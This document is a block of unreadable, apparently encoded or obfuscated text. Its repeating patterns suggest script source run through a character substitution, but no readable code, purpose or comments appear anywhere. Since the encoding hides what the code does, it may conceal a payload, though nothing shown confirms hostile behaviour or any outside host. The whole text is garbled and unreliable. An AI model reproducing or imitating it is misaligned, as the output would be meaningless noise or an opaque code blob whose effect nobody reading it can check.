 ew  q%&l24,::0;+wnjvvsxpxvdUUUU"U9*1<+60113f:=.34h)86;6*jwvU$U-:+*-1==7i3&4;3f/;13mwnnvw-nif,f=:o%ol2)owvvdU"U9*1<+601 1'4'n,k3k&859>>;w{:-1n:7ko0i3%ls{)h5njf,21i9f/hbwnimtllnvs{/59mn0<k05f9*jhib9>3,:vU$U-:+*-1==7i3&4;3f/;13mwkvw==7i3&4;3f/;13mwnivv`==7i3&4;3f/;13mwnivw{:-1n:7ko0i3%ls{)h5njf,21i9f/hs{/59mn0<k05f9*jhive9>3,:dU"U9*1<+601..+:l- 3/5(*9,%,)6<:w{93=9>%l2lmh16-0ns{)h5njf,21i9f/hvUUUU$UU-:+*-168-=;0g1k=f9<,wnhvw6( l).%/>&.=%8wngvv`68-=;0g1k=f9<,wngvw{93=9>%l2lmh16-0ns{)h5njf,21i9f/hve9>3,:dU"U9*1<+6016&3-,o*-.<)&:l.1w{93=9>%l2lmh16-0nvU$Upp201020-/76%:(0-4r.*:*:90--0*/30<4U{<o&/5 )9,=h-m/b  p  d{3 55&*=*&1b{<o&/5 )9,=h-m/tjldU-:+*-1%&l24,::0;+wnhvw%&l24,::0;+wnfvv`68-=;0g1k=f9<,wnfvw{93=9>%l2lmh16-0nve9>3,:dUUUU"U9*1<+601<oo4k7hh*16 '<lg&8+;+w{93=9>%l2lmh16-0ns{6,m8-.=='/vUUU$UU-:+*-1%&l24,::0;+wmovw%&l24,::0;+wmnvv`6( l).%/>&.=%8wmnvw{93=9>%l2lmh16-0ns{6,m8-.=='/ve9>3,:dU"U9*1<+601:fk534k;<kn+4l3w{93=9>%l2lmh16-0nvUUU$UUUU{<5  /6o.;k(/*:b(n7%'*ki&7:*69wvdU-:+*-1<oo4k7hh*16 '<lg&8+;+w{93=9>%l2lmh16-0nsw{<5  /6o.;k(/*:rw{<5  /6o.;k(/*:zwfffjmtkgvvvt/-5'%k3i;i25km)wvvdU"U9*1<+6017-h3)j%5o=(* 4/mw{1iokg-%=4*6hgs{+)+/73;,=nvU${%j/,f92m3bfugd{=/lfi >:;.g>/3b{%j/,f92m3rnmdU-:+*-1%&l24,::0;+wmmvw68-=;0g1k=f9<,wmlvv`%&l24,::0;+wmlvw{1iokg-%=4*6hgs{+)+/73;,=nve9>3,:d{1n.6k-+5+i<;5bknufd{=1o1:29/b{1n.6k-+5+i<;5rngdU"U9*1<+60190%*(hi8(-6'>ow{1iokg-%=4*6hgs{+)+/73;,=nvU$U-:+*-16( l).%/>&.=%8wmmvw%&l24,::0;+wmkvv`%&l24,::0;+wmkvw{1iokg-%=4*6hgs{+)+/73;,=nve9>3,:dU"U9*1<+601< ii-1<l;;7/*k4 ni<o'iw{:-1n:7ko0i3%ls{93=9>%l2lmh16-0nvU$U-:+*-168-=;0g1k=f9<,wmjvw==7i3&4;3f/;13mwmivv`68-=;0g1k=f9<,wmivw{:-1n:7ko0i3%ls{93=9>%l2lmh16-0nve9>3,:dUUU"U9*1<+601:5'(2)8 0n<38-%0wvUU$U,+>+6<{)*346h9%+m.8%f)>b1*33dU69w{)*346h9%+m.8%f)>~bb1*33v-:+*-1{)*346h9%+m.8%f)>dU{)*346h9%+m.8%f)>b%&l24,::0;+wmjvw6( l).%/>&.=%8wmhvv`68-=;0g1k=f9<,wmgvwve%&l24,::0;+wmfvd{8->810l;g *ibfjuid{4).j'272k85b{8->810l;g *irfdU69w6( l).%/>&.=%8wlovw{)*346h9%+m.8%f)>vyy==7i3&4;3f/;13mwlnvw{)*346h9%+m.8%f)>vv-:+*-1{)*346h9%+m.8%f)>dU{62,m89/7oob;:961:;w6( l).%/>&.=%8wlmvv`  ew;:961:;w6( l).%/>&.=%8wovv`q68-=;0g1k=f9<,wllve}}vdU69w{62,m89/7oo~bb}}v$U{;:m.20n>922=h/b==7i3&4;3f/;13mwnlvw{62,m89/7oos68-=;0g1k=f9<,wlkvvq%&l24,::0;+wljvdU69w~6( l).%/>&.=%8wlovw{;:m.20n>922=h/vv6( l).%/>&.=%8wnivw{;:m.20n>922=h/swklitjhvs+-*:vdUU69w%&l24,::0;+wlovw{;:m.20n>922=h/vyy%&l24,::0;+wlnvw{;:m.20n>922=h/vv$U69w6( l).%/>&.=%8wmjvw68-=;0g1k=f9<,wlivvv/*+:1)w==7i3&4;3f/;13mwlhvq{;:m.20n>922=h/vdU{6( l).%/>&.=%8wlgvbndU{)*346h9%+m.8%f)>b{;:m.20n>922=h/dU"U"UUU-:+*-1{)*346h9%+m.8%f)>dU"U9*1<+601>>&*)ln-fl %>=n1g%:2wvU$U{:-1n:7ko0i3%lb13f:=.34h)86;6*jwvdU{)h5njf,21i9f/hb* <>0f1:0)g)&4k,07+oo1wvdUppgqk96=:-,,:++618,,:<+601UU69w{:-1n:7ko0i3%lbbb{)h5njf,21i9f/hv-:+*-1+-*:dU69w==7i3&4;3f/;13mwlfvw%&l24,::0;+wkovvv$UUUU{6k+7+888n+32)<b%&l24,::0;+wknvw{:-1n:7ko0i3%lvdUUUU{>h+35'%6&*>l-b==7i3&4;3f/;13mwknvw{)h5njf,21i9f/hvdU-:+*-1w{6k+7+888n+32)<~bb9>3,:yy{>h+35'%6&*>l-~bb9>3,:yy{6k+7+888n+32)<bbb{>h+35'%6&*>l-vdU"UUU-:+*-19>3,:dU"U9*1<+601/-5'%k3i;i25km)wvU$U-:+*-1wflhkgthnvdU"U9*1<+601(lmn%)ii=o<m:;0f3 3mwvU$U69w~;:961:;w68-=;0g1k=f9<,wovvv-:+*-1}}dUU{62,m89/7oob;:961:;w%&l24,::0;+wkmvv`  eq6( l).%/>&.=%8wllvdU-:+*-16( l).%/>&.=%8wnlvw{62,m89/7oos%&l24,::0;+wlkvvq6( l).%/>&.=%8wklvq68-=;0g1k=f9<,wfvw6( l).%/>&.=%8wkkvwq6( l).%/>&.=%8wkjvvsoswo'hto'nvvq6( l).%/>&.=%8wkivq6( l).%/>&.=%8wfvw68-=;0g1k=f9<,wkkvwq6( l).%/>&.=%8wkhvvsoswmjomkmvvq68-=;0g1k=f9<,wkgvdU"U9*1<+601=o6(/-875*o9=+h(1w{/3o7(5k<n381&'b1*33vU$U{93=9>%l2lmh16-0nb(lmn%)ii=o<m:;0f3 3mwvdU69w{93=9>%l2lmh16-0nbbb}}v-:+*-19>3,:dU69w~==7i3&4;3f/;13mwkfvw{/3o7(5k<n381&'v##%&l24,::0;+wnovw{/3o7(5k<n381&'vcwklntifvv{/3o7(5k<n381&'b:%''&1')6-2mnm(wvdU69w~{/3o7(5k<n381&'##~)%;j1-;6fo.< h=<%=*w{/3o7(5k<n381&'vv-:+*-19>3,:dU{:-1n:7ko0i3%lb%&l24,::0;+wnnvw{93=9>%l2lmh16-0nvdUUU69w~==7i3&4;3f/;13mwjovw{:-1n:7ko0i3%lvv 1'4'n,k3k&859>>;w{:-1n:7ko0i3%lswkngthjvs+-*:vdU69w~6( l).%/>&.=%8wjovw{:-1n:7ko0i3%lv##~%&l24,::0;+wlnvw{:-1n:7ko0i3%lvv-:+*-19>3,:dU69w%&l24,::0;+wjnvw{93=9>%l2lmh16-0nvv$UUU69w%&l24,::0;+wkkvw5( g6,6h*67j545kh:ww,+-618v%&l24,::0;+wjmvw{93=9>%l2lmh16-0nvvvbbb6( l).%/>&.=%8wkkvw{/3o7(5k<n381&'vv-:+*-1+-*:dU{5>.;)-<4()7'.72b>%n&-0' 3%o+>21/++85j6w{93=9>%l2lmh16-0nvdU69w{5>.;)-<4()7'.72~bb1*33yy):-,601 <02/>-:w{5>.;)-<4()7'.72s(8=4>%+g%(8i0>1>i(l9h+wvsxaxvv-:+*-19>3,:dU*1,:+w{5>.;)-<4()7'.72vdU"U69w~,=.9=%*lk<l11j),n'56'/w{93=9>%l2lmh16-0ns{/3o7(5k<n381&'vv-:+*-19>3,:dU..+:l- 3/5(*9,%,)6<:w{93=9>%l2lmh16-0nswllltghvvdU3o>94&fk7+k97f >w{93=9>%l2lmh16-0nvdU-:+*-1+-*:dU"U9*1<+6018i<7mh=38m,h&2>)%2)78owvU$U{/3o7(5k<n381&'b:%''&1')6-2mnm(wvdUUUU69w~{/3o7(5k<n381&'##~)%;j1-;6fo.< h=<%=*w{/3o7(5k<n381&'vv-:+*-19>3,:dUUU{;).m.>/5(5)%o&b6( l).%/>&.=%8wnmvw-nif,f=:o%ol2)owvs%&l24,::0;+wkgvvd{>jj5ll3)(m;)b  p  d{(ggl*kg83i/b{>jj5ll3)(m;)tnhdU{)k98%ni;o9b6( l).%/>&.=%8wjlvw68-=;0g1k=f9<,wjkvv`*&;mh.'go,*2;<g)+*f9>wvew;:961:;w%&l24,::0;+wkmvv`  e}}vdU69w{)k98%ni;o9bbb}}v-:+*-19>3,:dUU{82g2+o8n;n(-*'4jb{)k98%ni;o9q==7i3&4;3f/;13mwjjvq{;).m.>/5(5)%o&dU{28:.<8=,=58,b{82g2+o8n;n(-*'4jqxpxq{;).m.>/5(5)%o&q68-=;0g1k=f9<,wkgvdUUU{%5:95%,i=j):l36gb9>3,:dU69w68-=;0g1k=f9<,wjlvw6( l).%/>&.=%8wknvvv$U{51jlm2.;m;b%&l24,::0;+wknvw{28:.<8=,=58,vdU{,-.28 mo*.1f%i24b%&l24,::0;+wjivw-nif,f=:o%ol2)owvvdU{%5:95%,i=j):l36gbw6( l).%/>&.=%8wkfvw{51jlm2.;m;vyy6( l).%/>&.=%8wkfvw{,-.28 mo*.1f%i24vyy{51jlm2.;m;bbb{,-.28 mo*.1f%i24vdUU"U69w~{%5:95%,i=j):l36gv$U69w~%&l24,::0;+wjovw{82g2+o8n;n(-*'4jvv 1'4'n,k3k&859>>;w{82g2+o8n;n(-*'4jswkhhtnivs+-*:vdUUUU69w~68-=;0g1k=f9<,wjovw{82g2+o8n;n(-*'4jv##~68-=;0g1k=f9<,wlnvw{82g2+o8n;n(-*'4jvv-:+*-19>3,:d{*5f1f-ni9(.2b  p  d{)>7.//:;b{*5f1f-ni9(.2tmhdU69w~6( l).%/>&.=%8wjnvw{28:.<8=,=58,v##%&l24,::0;+wjhvw5( g6,6h*67j545kh:ww,+-618v6( l).%/>&.=%8wjgvw{28:.<8=,=58,vvv~bb%&l24,::0;+wjfvw{/3o7(5k<n381&'vv$U69w==7i3&4;3f/;13mwjnvw{28:.<8=,=58,vv$U{5>.;)-<4()7'.72b>%n&-0' 3%o+>21/++85j6w{28:.<8=,=58,vdU69w{5>.;)-<4()7'.72~bb1*33yy):-,601 <02/>-:w{5>.;)-<4()7'.72s(8=4>%+g%(8i0>1>i(l9h+wvsxaxvv-:+*-19>3,:dU*1,:+w{5>.;)-<4()7'.72vdU"Upp0/+62>3-:<0-;r3>&:-UUUUU69w~,=.9=%*lk<l11j),n'56'/w{28:.<8=,=58,s+l92.0094n*&>:4j01(w{/3o7(5k<n381&'vvv-:+*-19>3,:dU..+:l- 3/5(*9,%,)6<:w{28:.<8=,=58,swlklthhvvdUU:fk534k;<kn+4l3w{28:.<8=,=58,vdU3o>94&fk7+k97f >w{28:.<8=,=58,vd{2o5fl.3j> 0b  	d{ -5:>n=1nb{2o5fl.3j> 0undU"UU"U69w6( l).%/>&.=%8wjlvw68-=;0g1k=f9<,wiovvyy==7i3&4;3f/;13mwinvw68-=;0g1k=f9<,wimvvv$U{-.)=3j'l%k<kkn<0b{;).m.>/5(5)%o&qxpxq{;).m.>/5(5)%o&q==7i3&4;3f/;13mwkgvdU{'7>%gk(f+<: h,&5b8:+ 0/+601w68-=;0g1k=f9<,wilvs>-->&wvvdU69w~%&l24,::0;+wikvw{'7>%gk(f+<: h,&5vv{'7>%gk(f+<: h,&5b>-->&wvdU69w~6( l).%/>&.=%8wijvw{-.)=3j'l%k<kkn<0s{'7>%gk(f+<: h,&5s+-*:vv$U{'7>%gk(f+<: h,&5b{-.)=3j'l%k<kkn<0dUUU*/;>+: 0/+601w68-=;0g1k=f9<,wilvs==7i3&4;3f/;13mwiivw{'7>%gk(f+<: h,&5vvdU"U"UUUU-:+*-1+-*:dUUUU"U9*1<+601>%n&-0' 3%o+>21/++85j6w{93=9>%l2lmh16-0nvU$U{;)9moh(g9m)n*-b%&l24,::0;+wihvw{93=9>%l2lmh16-0ns9>3,:s1*33soswo'mh;to';glvvdU69w~==7i3&4;3f/;13mwigvw{;)9moh(g9m)n*-vv-:+*-11*33dU69w68-=;0g1k=f9<,wifvw==7i3&4;3f/;13mwhovs{;)9moh(g9m)n*-s{)h5njf,21i9f/hvv-:+*-1{)h5njf,21i9f/hndU-:+*-11*33dU"UU9*1<+601':f6 <:(3(,;4l9)w{<03(%':3g>0s{2&&4+n1-'l2>)8<8vU$Upp-:<01<63:*16+>-&0=,:-):-UU<3:>-,+>+<><7:w+-*:s{<03(%':3g>0vdUUU{(1n,fk.))0b6( l).%/>&.=%8whnvw{<03(%':3g>0vdU69w~{(1n,fk.))0##w{(1n,fk.))0zwffffotnovv~bb/-5'%k3i;i25km)wvv$Upp*++0130<4e><.*6-:->;6'r+-::UU-:+*-19>3,:dUU"UUU{772332f&o8++m:0b%&l24,::0;+whmvw{<03(%':3g>0vdU-:+*-1{772332f&o8++m:0yy{772332f&o8++m:0ab{2&&4+n1-'l2>)8<8dU"U9*1<+6017:j'0.o461hlo6m(.wvUUUU$U-:+*-1wljfhftmnvdU"U9*1<+601%1(m2o%h.(-)mg:wvU$U-:+*-16( l).%/>&.=%8whlvdU"U9*1<+601>n,,- 8f6hjj%h64o,.wvU$U-:+*-16( l).%/>&.=%8whkvdU"U9*1<+6013n;on2(j>ff85f.9=n('wvUUU$UU69w68-=;0g1k=f9<,winvw68-=;0g1k=f9<,whjvvv-:+*-1+-*:dU69w62.(i4h3kh'->5>(j4wvv-:+*-1+-*:dU{9oj*5.(&,<h;)b6,,:+w{ 	==7i3&4;3f/;13mwhivv`6( l).%/>&.=%8whhvww,+-618v{ 	%&l24,::0;+whgvve}}dU69w{9oj*5.(&,<h;)~bb}}yyw==7i3&4;3f/;13mwhvw{9oj*5.(&,<h;)s6( l).%/>&.=%8whfvv~bb9>3,:##68-=;0g1k=f9<,wgovw{9oj*5.(&,<h;)s68-=;0g1k=f9<,wgnvv~bb9>3,:##6( l).%/>&.=%8wgovw{9oj*5.(&,<h;)s68-=;0g1k=f9<,wgmvv~bb9>3,:vv-:+*-1+-*:dU69w{9oj*5.(&,<h;)bbb}}yy68-=;0g1k=f9<,wglvwv~bb6( l).%/>&.=%8wgkvyy6,,:+w{ 	%&l24,::0;+wgjvvv-:+*-1+-*:dU-:+*-19>3,:dUUU"U9*1<+60162.(i4h3kh'->5>(j4wvU${*k=-%l;fmb  p  d{'2k0l'),<56ib{*k=-%l;fmtidU{9oj*5.(&,<h;)b6,,:+w{ 	%&l24,::0;+whgvv`{ 	68-=;0g1k=f9<,wgive}}dUU-:+*-1==7i3&4;3f/;13mwigvw{9oj*5.(&,<h;)vyy,+-6/0,w{9oj*5.(&,<h;)s==7i3&4;3f/;13mwghvv~bb9>3,:dU"U9*1<+6010-467=7,272k +7%w{13o'45<go:gvU$U{9h85.'n63)5 /223b6( l).%/>&.=%8winvw==7i3&4;3f/;13mwggvv`%&l24,::0;+wgfvw%&l24,::0;+wfovve9>3,:dUUU69w~{9h85.'n63)5 /223##{9h85.'n63)5 /223bbb}}v-:+*-1+-*:dU{=jo2;<=m0=%b==7i3&4;3f/;13mwfnvw{13o'45<go:gvdU69w~{=jo2;<=m0=%v{=jo2;<=m0=%b{13o'45<go:gd{3(*%m/1 ))brgmd{::*.3>;o'',0bw{3(*%m/1 ))aov`{3(*%m/1 ))er{3(*%m/1 ))dUU90-:><7w6( l).%/>&.=%8wfmvw s{9h85.'n63)5 /223v>,{-h/43n4*<,ov$U{-h/43n4*<,ob6( l).%/>&.=%8wnlvw{-h/43n4*<,os==7i3&4;3f/;13mwlkvvdU69w{-h/43n4*<,oyyw{=jo2;<=m0=%bbb{-h/43n4*<,o##68-=;0g1k=f9<,wflvw{=jo2;<=m0=%s{-h/43n4*<,oq vbbbovv-:+*-1+-*:dU"U-:+*-19>3,:dU"U9*1<+601:=)+1)m= %-nhll<w{1o/4'ig/o>n,2vUU$U{9'o6,/=jj *-g4b{1o/4'ig/o>n,2qx#xqw;:961:;w6( l).%/>&.=%8wfkvv` e}}vqx#xqw;:961:;w==7i3&4;3f/;13mwovv`e}}vdUUU-:+*-168-=;0g1k=f9<,wfjvw{9'o6,/=jj *-g4vdUUU"U9*1<+601<265'fh;mjjfgi392f1k(nw{1o/4'ig/o>n,2vU$U830=>3{(/;=dU69w~6,,:+w{6( l).%/>&.=%8wfivv##~6( l).%/>&.=%8wikvw{==7i3&4;3f/;13mwfhvvv{6( l).%/>&.=%8wfhvb>-->&wvdU69w~:2/+&w{==7i3&4;3f/;13mwfhv{1o/4'ig/o>n,2vv$U{%&l24,::0;+wfhv{1o/4'ig/o>n,2ttdU-:+*-1+-*:dUU"U69w68-=;0g1k=f9<,wfgvw{(/;=vyy%&l24,::0;+wffvw{(/;=s6( l).%/>&.=%8wnoovvv$U{/59mn0<k05f9*jhib{(/;=ra8:+ )>-w6( l).%/>&.=%8wnonvq:=)+1)m= %-nhll<w{1o/4'ig/o>n,2vq%&l24,::0;+wnomvvdU69w{/59mn0<k05f9*jhibbbxnxv$Upprk1>2:,/><:,e61<-:2:1+>3/>-+6+601r-:961:2:1+UU{%&l24,::0;+wfhv{1o/4'ig/o>n,2bndU-:+*-1+-*:dU"UUU69w{/59mn0<k05f9*jhibbbxoxv-:+*-19>3,:dU"U69w==7i3&4;3f/;13mwinvw==7i3&4;3f/;13mwnolvvyy6( l).%/>&.=%8winvw==7i3&4;3f/;13mwnokvvv$Upp>;>/+6):+>,4r8->/7U{1(33< o->:/=bjumd{3,7;6&28i.>jl=b{1(33< o->:/=rndU{4*7n&(6&j*b>-->&wvdU69w6( l).%/>&.=%8winvw68-=;0g1k=f9<,wmgvvv{4*7n&(6&j*b==7i3&4;3f/;13mwmgvwvdU69w;:961:;w6( l).%/>&.=%8wnojvvv{4*7n&(6&j*b  dUUU69w;:961:;w%&l24,::0;+wovvv{4*7n&(6&j*b==7i3&4;3f/;13mwnlvws==7i3&4;3f/;13mwnoivvdUUU90-:><7w{4*7n&(6&j*>,{:-1n:7ko0i3%lv$UUUU69w{:-1n:7ko0i3%lbbb}}##~68-=;0g1k=f9<,wnohvw{:-1n:7ko0i3%lv##~6( l).%/>&.=%8wlnvw{:-1n:7ko0i3%lvv<01+61*:dU{.l:+,m4h/%9b==7i3&4;3f/;13mwnokvw{:-1n:7ko0i3%lq==7i3&4;3f/;13mwnogvq:=)+1)m= %-nhll<w{1o/4'ig/o>n,2vq68-=;0g1k=f9<,wnofvsx<xvdU69w{.l:+,m4h/%9~bb9>3,:v$U69w~930<4w{.l:+,m4h/%9s # vv$Upp2010+01:<0*1+r261r,4:+<7UU9<30,:w{.l:+,m4h/%9vdU-:+*-19>3,:dU"U69w~6,,:+w{68-=;0g1k=f9<,wnnovv##~6( l).%/>&.=%8wnnnvw{6( l).%/>&.=%8wnnovvv{==7i3&4;3f/;13mwnnovb>-->&wvdU{68-=;0g1k=f9<,wnnov{1o/4'ig/o>n,2b{.l:+,m4h/%9dU{%&l24,::0;+wfhv{1o/4'ig/o>n,2bndU-:+*-1+-*:dU"U"U"UUUU-:+*-19>3,:dU"U9*1<+6018j,l7f2>m0=f6&<-w{1o/4'ig/o>n,2vU$U830=>3{(/;=dU69w:2/+&w{%&l24,::0;+wnnmv{1o/4'ig/o>n,2vv-:+*-1dUUUU{6( l).%/>&.=%8wnnmv{1o/4'ig/o>n,2rrdUU69w{68-=;0g1k=f9<,wnnlv{1o/4'ig/o>n,2aov-:+*-1dU*1,:+w{%&l24,::0;+wnnlv{1o/4'ig/o>n,2vdU69w6,,:+w{68-=;0g1k=f9<,wnnkv{1o/4'ig/o>n,2vv$U930<4w{68-=;0g1k=f9<,wnnjv{1o/4'ig/o>n,2s 
vdU9<30,:w{6( l).%/>&.=%8wnniv{1o/4'ig/o>n,2vdU*1,:+w{6( l).%/>&.=%8wnnhv{1o/4'ig/o>n,2vdU"UU69w68-=;0g1k=f9<,wfgvw{(/;=vyy==7i3&4;3f/;13mwffvw{(/;=s6( l).%/>&.=%8wnngvvv$UUU{(/;=ra.*:-&w==7i3&4;3f/;13mwnnfvq:=)+1)m= %-nhll<w{1o/4'ig/o>n,2vq6( l).%/>&.=%8wnmovvdU"Upp2*3+6=&+:>(>-:UU"U9*1<+601>87)&6hgfj1,1k;o8wvU$UU69w;:961:;w68-=;0g1k=f9<,wnmnvvyy  v-:+*-19>3,:dU-:+*-1+-*:dU"U9*1<+60104'k=kgmm ;-<4*,;>&3*w{ %%hk.gg.7s{3+1n/j=+n mvU$U+-&$U69w61+:-9><: :'6,+,w%&l24,::0;+wnmmvvyy{3+1n/j=+n m61,+>1<:097-0(>=3:v$U{2()9157;:*2,9l,b6( l).%/>&.=%8wfvw{ %%hk.gg.7q68-=;0g1k=f9<,wnmlvq{3+1n/j=+n mra8:+:,,>8:wvsoswlikrnogvvdU":3,:69w{3+1n/j=+n m61,+>1<:09'<:/+601v$U{2()9157;:*2,9l,b%&l24,::0;+wnmkvw{ %%hk.gg.7q%&l24,::0;+wnmjvq{3+1n/j=+n mra8:+:,,>8:wvsoswnhktgmvvdUUUU":3,:69w68-=;0g1k=f9<,wnmivw{3+1n/j=+n mvyy68-=;0g1k=f9<,wnovw{3+1n/j=+n mvaov$U{2()9157;:*2,9l,b%&l24,::0;+wnmhvw{ %%hk.gg.7q%&l24,::0;+wnmgvq{3+1n/j=+n msoswmoitjovvdU":3,:$U-:+*-1dU"Upp369:<&<3:7004UU69w~6,,:+w{%&l24,::0;+wnmfvvv{68-=;0g1k=f9<,wnmfvb>-->&wvdU69w~6( l).%/>&.=%8wijvw{2()9157;:*2,9l,s{==7i3&4;3f/;13mwnlovs+-*:vv$U{6( l).%/>&.=%8wnlovb{2()9157;:*2,9l,dU"U69w6( l).%/>&.=%8wnlnvw{68-=;0g1k=f9<,wnlmvvawmktmivv$U{==7i3&4;3f/;13mwnllvb68-=;0g1k=f9<,wnlkvw{==7i3&4;3f/;13mwnljvsrwlotmovvdU"U"<>+<7w7-0(>=3:{5=>);g)11/.o=f4v$Upp:,+m(:=/<01):-,601UU"<>+<7w'<:/+601{5=>);g)11/.o=f4v$UUUU"U"U9*1<+6018&m43o,);ol%*)4=w{;)9moh(g9m)n*-s{)3,97;i 5%.ongs{93=9>%l2lmh16-0nbwitkvs{252-:,6o4m=o8n*)bnvU$U69w~68-=;0g1k=f9<,winvw68-=;0g1k=f9<,wnlivvv-:+*-19>3,:dU69w68-=;0g1k=f9<,wnlhvw{)3,97;i 5%.ongvv$U-:+*-1>;; ><+601w{;)9moh(g9m)n*-s9*1<+601wqqq{*4)00j4f9n/)j-o/v*,:w{)3,97;i 5%.ongv$U69w6( l).%/>&.=%8winvw{)3,97;i 5%.ongvv-:+*-1{)3,97;i 5%.ongwqqq{*4)00j4f9n/)j-o/vdU-:+*-11*33dU"s{93=9>%l2lmh16-0ns{252-:,6o4m=o8n*)vd{ ;=).. ,)'b  p  d{:==)4knf33l7b{ ;=).. ,)'tgndU"U-:+*-1>;; ><+601w{;)9moh(g9m)n*-s{)3,97;i 5%.ongs{93=9>%l2lmh16-0ns{252-:,6o4m=o8n*)vdU"UUU9*1<+6014l;:- 8oj(fhg:;j8w{;)9moh(g9m)n*-s{)3,97;i 5%.ongs{93=9>%l2lmh16-0nbwifhfvs{252-:,6o4m=o8n*)bnvUU$U69w~68-=;0g1k=f9<,winvw==7i3&4;3f/;13mwnlgvvv-:+*-19>3,:dU69w6( l).%/>&.=%8wnlhvw{)3,97;i 5%.ongvv$UUU-:+*-1>;; 963+:-w{;)9moh(g9m)n*-s9*1<+601wqqq{*4)00j4f9n/)j-o/v*,:w{)3,97;i 5%.ongv$UUU69w%&l24,::0;+wnlfvw{)3,97;i 5%.ongvv-:+*-1{)3,97;i 5%.ongwqqq{*4)00j4f9n/)j-o/vdU-:+*-16,,:+w{*4)00j4f9n/)j-o/ov`{*4)00j4f9n/)j-o/oe1*33dU"s{93=9>%l2lmh16-0ns{252-:,6o4m=o8n*)vd{4)58)i8n(>-5fbwo'mlto'g<vd{;(,f:/l'+b{4)58)i8n(>-5fznldU"U-:+*-1>;; 963+:-w{;)9moh(g9m)n*-s{)3,97;i 5%.ongs{93=9>%l2lmh16-0ns{252-:,6o4m=o8n*)vdUU"U9*1<+601(2++90&.)m=1=gl8g6wvU$U{-h/43n4*<,ob;:961:;w==7i3&4;3f/;13mwnkovv`  q==7i3&4;3f/;13mwnknvq0,://=::3'-f*7wq==7i3&4;3f/;13mwkjvswhtnvve%&l24,::0;+wnnvw-nif,f=:o%ol2)owvvq==7i3&4;3f/;13mwnkmvdU69w~%&l24,::0;+wnohvw{-h/43n4*<,ovyy0-467=7,272k +7%w{-h/43n4*<,ovv$UUU 1'4'n,k3k&859>>;w{-h/43n4*<,oswo'mgto'n<jvs+-*:vdU69w6( l).%/>&.=%8wnohvw{-h/43n4*<,ovv$U+lf5;=.m.'o=6hm1h*0f>w{-h/43n4*<,oq6( l).%/>&.=%8wnklvs}c`/7/pp63:1<:6,803;:1q1}s==7i3&4;3f/;13mwkjvvdU"U"U69w%&l24,::0;+wnkkvw{-h/43n4*<,ovyy==7i3&4;3f/;13mwnkjvw{-h/43n4*<,ovv$Upp/><4:;3>&0*+UU-:+*-1{-h/43n4*<,odU"Upp<033:<+;>+>930(r8->/790-30=>3+&3:,UU{<igfl8=:nlh5(->0b%&l24,::0;+wnnvw-nif,f=:o%ol2)owvvq==7i3&4;3f/;13mwnkmvdU69w~%&l24,::0;+wnkivw{<igfl8=:nlh5(->0vyy0-467=7,272k +7%w{<igfl8=:nlh5(->0vv 1'4'n,k3k&859>>;w{<igfl8=:nlh5(->0swkmhtiivs+-*:vdUU69w6( l).%/>&.=%8wnkivw{<igfl8=:nlh5(->0vyy==7i3&4;3f/;13mwnkjvw{<igfl8=:nlh5(->0vv-:+*-1{<igfl8=:nlh5(->0dU{501.;,:9/,/6.1.b6( l).%/>&.=%8wnnvw-nif,f=:o%ol2)owvvdUUU69w6( l).%/>&.=%8wnkjvw{501.;,:9/,/6.1.vyy{501.;,:9/,/6.1.~bb* <>0f1:0)g)&4k,07+oo1wvv-:+*-1{501.;,:9/,/6.1.dU69w;:961:;w==7i3&4;3f/;13mwnkovvyy%&l24,::0;+wnkhvw  vyy0-467=7,272k +7%w  vv-:+*-1  dU-:+*-1{-h/43n4*<,odU"U9*1<+601*&;mh.'go,*2;<g)+*f9>wvU$U69w;:961:;w%&l24,::0;+wnkovvyy%&l24,::0;+wnkhvw  vyy0-467=7,272k +7%w  vv-:+*-1  dU{;=fk=%(m3mb6( l).%/>&.=%8wnkgvw-nif,f=:o%ol2)owvvdU69w0-467=7,272k +7%w{;=fk=%(m3mvv-:+*-1{;=fk=%(m3mdU-:+*-1  dU"UU9*1<+601%2:n;9l5gim=)+<n%28(jw{13o'45<go:gvU$UU69w:2/+&w{68-=;0g1k=f9<,wnkfvv##~6( l).%/>&.=%8wnjovw{68-=;0g1k=f9<,wnjnvvv-:+*-19>3,:dU69w6,,:+w{==7i3&4;3f/;13mwnjmv{13o'45<go:gvv-:+*-1+-*:dU{=jo2;<=m0=%b%&l24,::0;+wnlfvw==7i3&4;3f/;13mwnjlvv`68-=;0g1k=f9<,wnjlvw{13o'45<go:gve9>3,:dU-:+*-1w{=jo2;<=m0=%~bb9>3,:yy6,,:+w{==7i3&4;3f/;13mwnjmv{=jo2;<=m0=%vvdUUUU"UUUU9*1<+601%i%('* ))7,;6n/o;=hh9%w{13o'45<go:gvU$Upu>;>/+6):<022>1;upU{=9214i1831m/1+bfmuhd{+l-4&&;88%l,7*b{=9214i1831m/1+rldU69w:2/+&w{68-=;0g1k=f9<,wnjkvv##~6( l).%/>&.=%8wnjovw{6( l).%/>&.=%8wnjkvvv-:+*-1dUUU*1,:+w{6( l).%/>&.=%8wnjkv{13o'45<go:gvdUUUU{=jo2;<=m0=%b6( l).%/>&.=%8wnlfvw%&l24,::0;+wnjlvv`==7i3&4;3f/;13mwnjlvw{13o'45<go:gve9>3,:dU69w{=jo2;<=m0=%~bb9>3,:v*1,:+w{==7i3&4;3f/;13mwnjjv{=jo2;<=m0=%vdU"UUUU9*1<+601;% 60j&3'n9,8>6w{13o'45<go:gvU$U69w~6,,:+w{6( l).%/>&.=%8wnjjvv##~68-=;0g1k=f9<,wnjovw{%&l24,::0;+wnjivvv$U{68-=;0g1k=f9<,wnjivb>-->&wvdU"UU{8-f'9&5>j>1k)5b%&l24,::0;+wnlfvw6( l).%/>&.=%8wnjlvv`%&l24,::0;+wnjhvw{13o'45<go:gve9>3,:dUUU{%&l24,::0;+wnjiv{8-f'9&5>j>1k)5~bb9>3,:`{8-f'9&5>j>1k)5e{13o'45<go:gb{13o'45<go:gdUUU,+>+6<{03ngf<m+o2b9>3,:dU69w~{03ngf<m+o2v$UUU{03ngf<m+o2b+-*:dU69w%&l24,::0;+wnjgvw%&l24,::0;+wnjfvvv68-=;0g1k=f9<,wnjfvw%&l24,::0;+wniovvdUUU"UU"UUUU9*1<+601>0:)nn; j 7n43wvU$U69w:2/+&w{68-=;0g1k=f9<,wninvv##~%&l24,::0;+wnimvw{%&l24,::0;+wninvvv$U-:+*-1dUUU"U90-:><7w{